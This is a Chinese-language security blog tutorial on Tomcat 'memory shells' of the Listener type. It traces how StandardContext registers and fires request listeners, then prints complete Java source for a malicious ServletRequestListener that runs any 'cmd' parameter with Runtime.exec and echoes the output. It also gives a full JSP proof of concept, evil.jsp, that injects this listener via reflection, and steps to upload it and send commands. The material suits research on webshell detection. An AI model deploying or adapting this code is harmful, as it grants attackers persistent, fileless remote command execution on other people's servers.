Tomcat内存马学习3:Listener型
0x00 前言
上一篇讲了servlet型内存马,而这次这个Listener型内存马也是大同小异,就是在内存中恶意创建一个Listener供攻击者使用
0x01 Listener加载流程
分为两部分来说
- Listener注册
- Listener加载
- 我们的 Listener 的名字被存放在 applicationListeners 数组中 (名字是从 web.xml 中添加进来的感兴趣的师傅可以自己跟一下)
- findApplicationListeners取出所有Listener名称,根据不同Listener类型,实例化后放置到standcontext不同的成员变量中。比如ServletRequestListener型的存放在ApplicationEventListeners中
- 注册完毕
- 有web请求时,取出所有standcontext#ApplicationEventListeners中的Listener实例,并依次调用其requestInitialized方法
Listener注册
Listener 既然要被注册进去并使用,那么期间肯定会实例化,所以我在 class 部分部分打了断点
debug一下,顺着堆栈向上看可以很快的定位到 StandardContext#listenerStart 方法,这个方法我在上一篇文章中提到过,是负责listener注册的
就是这里
打上断点,跟进去看一下,首先利用findApplicationListeners获取所有的listener名称
然后在2682行,根据listener名称实例化每一个listener并存储在results中
接下来会挨个取出results中的值判断其listener类型,如果是ServletRequestAttributeListener类型的listener,则会保存在eventListeners中
然后获取ApplicationEventListeners变量值添加到eventListeners中,然后调用setApplicationEventListeners将eventListeners中的所有Listener实例保存在ApplicationEventListeners中
其逻辑大概就是
- 先将已经注册的Listener添加到eventListeners中
- 清空standcontext的applicationEventListeners值
- 将eventListeners赋值给applicationEventListeners
将我们的TestListener存放到standcontext的applicationEventListeners中,就算是完成Listener的注册,applicationEventListeners存放着实例化过后的TestListener
至此 listenerStart 函数的主要部分就介绍完毕了
Listener加载
注册好Listener后,接下来我们看一下是如何调用该Listener的
在requestInitialized方法处打上断点
debug一下,顺着堆栈向上看可以很快的定位到 StandardContext#fireRequestInitEvent方法
看一下这个方法
首先利用getApplicationEventListeners获取ApplicationEventListeners变量,然后遍历里面的Listener实例并判断是否是事件型监听器,如果是的话调用其监听器的requestInitialized方法
所以我们的内存马只需要添加到这个数组里面就可以了,只要有http请求,就会触发恶意listener的requestInitialized方法
0x02 listener内存马
恶意Listener
首先我们需要创建一个恶意Listener,这个Listener是ServletRequestListener型监听器。即只要有http请求就会触发这个监听器。
这里我想说一下,我们的目的就是在requestInitialized方法中获取cmd参数执行命令并回显。现在就用两个问题
- 怎么获取cmd参数
我们可以通过sre.getServletRequest()获得ServletRequest,ServletRequest这个对象可以获取请求参数。
- 怎么获取response对象,使得可回显结果
上面方法可以获取请求参数,但是呢不管是sre还是ServletRequest都无法获取response对象,也就是执行完命令无法回显。为了进一步获取response对象,我们就需要获得Request对象利用其getResponse来获取response对象,而Request对象就存储在ServletRequest中
https://www.yuque.com/tianxiadamutou/zcfd4v/na64yv#d12dc29f
是如何发现Request对象就存储在ServletRequest中的,具体可看上面这篇
恶意listener如下
public class ServletListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}
}
动态注册
我们已经知道了Listener的注册流程,注册代码也就出来了
POC:
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!
//首先创造一个恶意Listener
class ListenerMemShell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
//反射获取Request对象进而获得Response对象
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
//获取standcontext的ApplicationEventListeners变量
Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
//将我们的恶意Listener添加到ApplicationEventListeners中
arrayList.add(new ListenerMemShell());
//将新的ApplicationEventListeners添加到standardContext中
standardContext.setApplicationEventListeners(arrayList.toArray());
out.println("inject servlet success!");
%>
0x03漏洞复现
上传evil.jsp
访问evil.jsp,显示inject servlet success!说明注入成功
因为注入的是ServletRequestListener,只要有http请求就会触发该监听器
所以直接输入?cmd=command即可
0x04 总结
- 必须搞懂Listener的加载机制
- 在此加载机制基础上,设计出Listener内存马poc
0x05 参考文章
https://www.yuque.com/tianxiadamutou/zcfd4v/na64yv
https://goodapple.top/archives/1355
https://www.cnblogs.com/CoLo/p/15782888.html
https://uuzdaisuki.com/2021/06/29/tomcat%E6%97%A0%E6%96%87%E4%BB%B6%E5%86%85%E5%AD%98webshell